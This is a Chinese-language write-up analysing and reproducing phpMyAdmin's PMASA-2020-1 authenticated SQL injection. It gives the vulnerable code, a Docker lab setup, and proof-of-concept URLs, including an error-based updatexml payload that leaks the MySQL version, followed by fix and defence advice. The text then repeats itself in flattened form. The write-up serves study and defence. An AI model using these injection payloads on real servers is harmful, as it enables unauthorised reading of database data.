phpmyadmin PMASA-2020-1 漏洞分析与复现
字数 984 2025-08-26 22:11:51

phpMyAdmin PMASA-2020-1 SQL注入漏洞分析与复现指南

漏洞概述

phpMyAdmin在2020年1月修复了一个SQL注入漏洞(PMASA-2020-1),该漏洞存在于用户账户页面中。攻击者可以通过构造恶意请求注入自定义SQL语句,前提是攻击者必须拥有有效的MySQL账户才能利用此漏洞。

漏洞详情

漏洞位置

漏洞位于libraries/classes/Server/Privileges.php文件中,具体在getExtraDataForAjaxBehavior函数内:

if (isset($_GET['validate_username'])) {
    $sql_query = "SELECT * FROM `mysql`.`user` WHERE `User` = '"
        . $_GET['username'] . "';";
    // 省略 节省篇幅
}

漏洞触发条件

  1. 攻击者需要拥有有效的MySQL账户(能够登录phpMyAdmin)
  2. 需要设置$_GET['validate_username']参数
  3. 需要设置$_REQUEST['ajax_request']参数(用于通过Ajax检查)

环境搭建

使用Docker快速搭建测试环境:

# 启动MySQL 5.6容器
docker run --name mysql5.6 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:5.6

# 启动phpMyAdmin 5.0容器
docker run --name myadmin -d --link mysql5.6:db -p 8080:80 phpmyadmin/phpmyadmin:5.0

漏洞复现

基本验证POC

访问以下URL(需要先登录phpMyAdmin):

http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%22

预期返回结果应包含SQL错误信息,证明注入点存在。

利用漏洞获取信息

使用报错注入技术获取MySQL版本信息:

http://127.0.0.1:8080/server_privileges.php?ajax_request=true&validate_username=true&username=test%27%20and%20(select%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1))%20--%20

返回结果中应包含类似以下错误信息:

#1105 - XPATH syntax error: '~5.6.46~'

漏洞分析

  1. 漏洞入口$_GET['username']参数未经过滤直接拼接到SQL查询中

  2. 触发路径

    • 访问server_privileges.php
    • 设置ajax_request=true绕过Ajax检查
    • 设置validate_username=true进入漏洞代码段
    • 通过username参数注入恶意SQL
  3. 利用限制

    • 需要有效的MySQL账户(已登录状态)
    • 不需要CSRF token(但实际利用价值有限)

修复方案

官方修复方案是过滤或转义$_GET['username']参数。建议用户升级到最新版本的phpMyAdmin。

防御措施

  1. 及时更新phpMyAdmin到最新版本
  2. 对用户输入进行严格的过滤和转义
  3. 限制phpMyAdmin的访问权限,仅允许可信用户访问
  4. 使用Web应用防火墙(WAF)拦截SQL注入攻击

总结

PMASA-2020-1是一个典型的SQL注入漏洞,虽然需要认证后才能利用,但仍可能被恶意用户用来获取数据库敏感信息或执行其他恶意操作。开发人员应引以为戒,对所有用户输入进行严格验证和过滤。

phpMyAdmin PMASA-2020-1 SQL注入漏洞分析与复现指南 漏洞概述 phpMyAdmin在2020年1月修复了一个SQL注入漏洞(PMASA-2020-1),该漏洞存在于用户账户页面中。攻击者可以通过构造恶意请求注入自定义SQL语句,前提是攻击者必须拥有有效的MySQL账户才能利用此漏洞。 漏洞详情 漏洞位置 漏洞位于 libraries/classes/Server/Privileges.php 文件中,具体在 getExtraDataForAjaxBehavior 函数内: 漏洞触发条件 攻击者需要拥有有效的MySQL账户(能够登录phpMyAdmin) 需要设置 $_GET['validate_username'] 参数 需要设置 $_REQUEST['ajax_request'] 参数(用于通过Ajax检查) 环境搭建 使用Docker快速搭建测试环境: 漏洞复现 基本验证POC 访问以下URL(需要先登录phpMyAdmin): 预期返回结果应包含SQL错误信息,证明注入点存在。 利用漏洞获取信息 使用报错注入技术获取MySQL版本信息: 返回结果中应包含类似以下错误信息: 漏洞分析 漏洞入口 : $_GET['username'] 参数未经过滤直接拼接到SQL查询中 触发路径 : 访问 server_privileges.php 设置 ajax_request=true 绕过Ajax检查 设置 validate_username=true 进入漏洞代码段 通过 username 参数注入恶意SQL 利用限制 : 需要有效的MySQL账户(已登录状态) 不需要CSRF token(但实际利用价值有限) 修复方案 官方修复方案是过滤或转义 $_GET['username'] 参数。建议用户升级到最新版本的phpMyAdmin。 防御措施 及时更新phpMyAdmin到最新版本 对用户输入进行严格的过滤和转义 限制phpMyAdmin的访问权限,仅允许可信用户访问 使用Web应用防火墙(WAF)拦截SQL注入攻击 总结 PMASA-2020-1是一个典型的SQL注入漏洞,虽然需要认证后才能利用,但仍可能被恶意用户用来获取数据库敏感信息或执行其他恶意操作。开发人员应引以为戒,对所有用户输入进行严格验证和过滤。